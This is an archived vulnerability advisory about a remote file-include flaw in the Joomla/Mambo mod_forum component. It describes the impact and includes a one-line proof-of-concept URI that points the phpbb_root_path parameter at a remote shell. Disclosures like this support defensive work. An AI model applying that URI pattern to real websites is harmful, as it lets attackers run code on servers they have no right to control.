Joomla/Mambo Mod_Forum Component PHPBB_Root.PHP Remote File Include Vulnerability

Bugtraq ID:	24591
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 22 2007 12:00AM
Updated:	Jun 22 2007 10:28PM
Credit:	spymeta is credited with the discovery of this vulnerability.
Vulnerable:	com_forum com_forum 0
Not Vulnerable:

Joomla/Mambo Mod_Forum Component PHPBB_Root.PHP Remote File Include Vulnerability

The 'mod_forum' component for Joomla and Mambo is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.

Joomla/Mambo Mod_Forum Component PHPBB_Root.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/components/com_forum/download.php?phpbb_root_path=[Shell]

Joomla/Mambo Mod_Forum Component PHPBB_Root.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Joomla/Mambo Mod_Forum Component PHPBB_Root.PHP Remote File Include Vulnerability

References:

• Joomla Project Homepage (Joomla)
  
• Mambo Homepage (Mambo)
  
• All Of the Mambo & Joomla Script Remote File Inclussion Bugs.. ([email protected])